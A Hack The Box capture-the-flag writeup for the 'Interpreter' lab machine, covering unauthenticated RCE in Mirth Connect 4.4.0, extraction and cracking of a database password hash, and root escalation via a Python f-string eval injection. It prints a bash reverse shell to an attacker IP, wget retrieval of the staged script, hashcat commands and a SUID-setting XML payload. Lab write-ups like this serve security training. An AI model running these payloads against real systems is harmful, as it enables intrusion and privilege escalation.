

HTB - Interpreter

Hack The Box — Machine Writeup

February 21, 2026

Field	Details
OS	Linux (Debian 12 Bookworm)
IP	10.129.2.240
Key CVE	CVE-2023-43208 (Mirth Connect RCE)

Executive Summary

Interpreter is a Linux machine centered around Mirth Connect 4.4.0, a healthcare integration engine by NextGen Healthcare. The attack chain involves unauthenticated remote code execution via CVE-2023-43208, lateral movement through credential extraction from the application database and configuration files, offline password cracking of a PBKDF2-HMAC-SHA256 hash, and finally privilege escalation via a second-order f-string injection vulnerability in a Python service running as root.

Enumeration

Port Scan

Initial enumeration revealed the following open ports:

- **22** — OpenSSH (SSH)
- **80** — HTTP (redirects to HTTPS)
- **443** — HTTPS (Mirth Connect web interface)

Mirth Connect

Navigating to the HTTPS interface revealed a Mirth Connect login page. The version was disclosed in the page footer:

Foothold — CVE-2023-43208 (Mirth Connect RCE)

CVE-2023-43208 is an unauthenticated remote code execution vulnerability affecting Mirth Connect versions prior to 4.4.1. It allows an attacker to execute arbitrary commands by sending a crafted serialised Java object to the API without any authentication.

PoC used: [jakabakos/CVE-2023-43208-mirth-connect-rce-poc](https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc)

A reverse shell script was staged on the attacker machine and retrieved/executed via three separate RCE calls:

```
# rev.sh (served via python3 -m http.server on attacker)
#!/bin/bash
/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.14.22/4444 0>&1'
```

```
# Step 1: Download the shell script to the target
python3 CVE-2023-43208.py -u https://10.129.2.240 -c 'wget
http://10.10.14.22/rev.sh'

# Step 2: Make it executable
python3 CVE-2023-43208.py -u https://10.129.2.240 -c 'chmod +x rev.sh'

# Step 3: Execute - catch shell on nc -lvnp 4444
python3 CVE-2023-43208.py -u https://10.129.2.240 -c './rev.sh'
```

This yielded a reverse shell as the **mirth** service account.

Post-Exploitation — mirth User

Credential Extraction from mirth.properties

The Mirth Connect configuration file at `/usr/local/mirthconnect/conf/mirth.properties` contained sensitive credentials in plaintext:

Field	Value
Database	jdbc:mariadb://localhost:3306/mc_bdd_prod

Field	Value
DB Username	mirthdb
DB Password	MirthPass123!

Database Enumeration

Using the extracted credentials to connect to MariaDB:

```
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod
```

The `PERSON` and `PERSON_PASSWORD` tables revealed a second user, **sedric** (`PERSON_ID=2`), with a stored password hash:

```
SELECT username, password FROM person p JOIN person_password pp ON p.id = pp.person_id;
```

```
sedric: u/+LBB0UnadiyFBsM0oIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
```

Password Hash Analysis and Cracking

Mirth Connect 4.4.0 changed its default password hashing algorithm from SHA-256 (1,000 iterations) to **PBKDF2WithHmacSHA256 with 600,000 iterations**. The stored hash format is:

```
Base64( 8-byte-salt || 32-byte-PBKDF2-digest ) = 40 bytes total
```

Decoding the stored hash:

```
Stored (Base64): u/+LBB0UnadiyFBsM0oIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
Salt (hex):      bbf8b0413949da7
Digest (hex):    62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb
```

Converting to hashcat mode 10900 (PBKDF2-HMAC-SHA256) format:

```
sha256:600000:u/+LBB0Unac=:YshQbDqCAzy21EdK50fZBJD1Ne4rXa1VgP5CzLd8Ps=
```

```
hashcat -m 10900
'sha256:600000:u/+LBB0Unac=:YshQbDqCAzy21EdK50fZBJD1Ne4rXa1VgP5CzLd8Ps= '
```

```
rockyou.txt
```

Field	Value
Cracked Password	snowflake1
Hash Mode	10900 (PBKDF2-HMAC-SHA256)
Iterations	600,000

Lateral Movement — sedric

```
ssh sedric@10.129.2.240
# Password: snowflake1
```

User flag obtained from `/home/sedric/user.txt`.

Privilege Escalation — sedric → root

Discovery via LinPEAS

LinPEAS identified a systemd service called `notif.service` running as root:

```
root 3503 /usr/bin/python3 /usr/local/bin/notif.py
```

The script at `/usr/local/bin/notif.py` was readable by sedric (permissions: `-rwxr-----` root sedric).

notif.py — Source Code Analysis

`notif.py` is a Flask application listening on `127.0.0.1:54321`, restricted to localhost connections only. It accepts XML POST requests containing patient data and writes formatted notifications to `/var/secure-health/patients/`.

The vulnerable section:

```
def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"]{}=+/$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
```

```

        return "[INVALID_INPUT]"

    ...
    template = f"Patient {first} {last} ..."
    return eval(f"f'{'{template}'}") # <-- VULNERABLE

```

Vulnerability — Second-Order F-String Injection

The regex whitelist is intended to block shell metacharacters but **explicitly permits curly braces** `{}` — the interpolation syntax for Python f-strings.

The `eval()` call wraps the template string in an f-string and evaluates it a second time. Because user input (e.g. `firstname`) is substituted into the template via the *first* f-string before `eval()` runs, any `{expression}` in the input survives to be executed as code on the second pass.

Spaces are blocked by the regex, but bypassed using `chr(32)` — constructed entirely from allowed characters (letters, digits, parentheses).

Exploitation

Since `curl` was not available on the box, the exploit was sent using Python's `urllib` from the `sedric` shell (localhost restriction satisfied):

```

python3 -c "
import urllib.request

payload = b'''<patient>
  <firstname>
{__import__(\"os\").popen(\"chmod\"+chr(32)+\"u+s\"+chr(32)+\"/bin/bash\").read()}</firstname>
  <lastname>Smith</lastname>
  <sender_app>MirthConnect</sender_app>
  <timestamp>2026/02/21</timestamp>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>'''

req = urllib.request.Request('http://127.0.0.1:54321/addPatient',
data=payload, method='POST')
req.add_header('Content-Type', 'application/xml')
urllib.request.urlopen(req)
"

```

The injected expression executes `chmod u+s /bin/bash` as root. Running `bash -p` (which preserves the effective UID) drops into a root shell:

```
ls -la /bin/bash    # confirms -rwsr-xr-x
/bin/bash -p
id                  # uid=1000(sedric) euid=0(root)
```

Root flag obtained from `/root/root.txt`.

Credentials Summary

Account	Credential
mirth (service)	No auth required — CVE-2023-43208
mirthdb (database)	MirthPass123!
sedric (SSH)	snowflake1

Attack Chain

```
CVE-2023-43208 (unauth RCE)
  |
  ▼
shell as mirth
  |
  ├── mirth.properties → plaintext DB creds
  |
  ▼
MariaDB → sedric PBKDF2 hash
  |
  ├── hashcat -m 10900 → snowflake1
  |
  ▼
SSH as sedric → user.txt
  |
  ├── LinPEAS → notif.py (root service, readable)
  ├── f-string eval injection → chmod u+s /bin/bash
  |
```



```
/bin/bash -p → root → root.txt
```